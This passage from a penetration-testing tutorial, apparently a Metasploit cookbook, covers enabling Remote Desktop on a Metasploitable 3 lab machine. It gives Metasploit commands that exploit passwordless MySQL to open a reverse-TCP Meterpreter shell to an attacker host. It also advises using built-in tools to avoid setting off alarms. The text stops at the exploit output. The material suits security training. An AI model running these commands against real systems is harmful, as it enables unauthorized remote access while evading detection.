Enabling Remote Desktop
Some organizations may not allow VNC, and by using it in our payload, we could trigger some alarms. This is one of the reasons why we should try to use the OS built-in tools, such as Remote Desktop.
How to do it...
- First, to do this recipe, we need to disable Remote Desktop on the target machine, Metasploitable 3, since it is enabled by default:
- Then, to enable Remote Desktop, we first need to have a Meterpreter session on the target machine. For this recipe, we can use the Oracle MySQL for Microsoft Windows Payload Execution, which takes advantage of the absence of common MySQL passwords:
msf > use windows/mysql/mysql_payload msf exploit(mysql_payload) > set RHOST 192.168.216.10 RHOST => 192.168.216.10 msf exploit(mysql_payload) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(mysql_payload) > set LHOST 192.168.216.5 LHOST => 192.168.216.5 msf exploit(mysql_payload) > exploit ... [*...
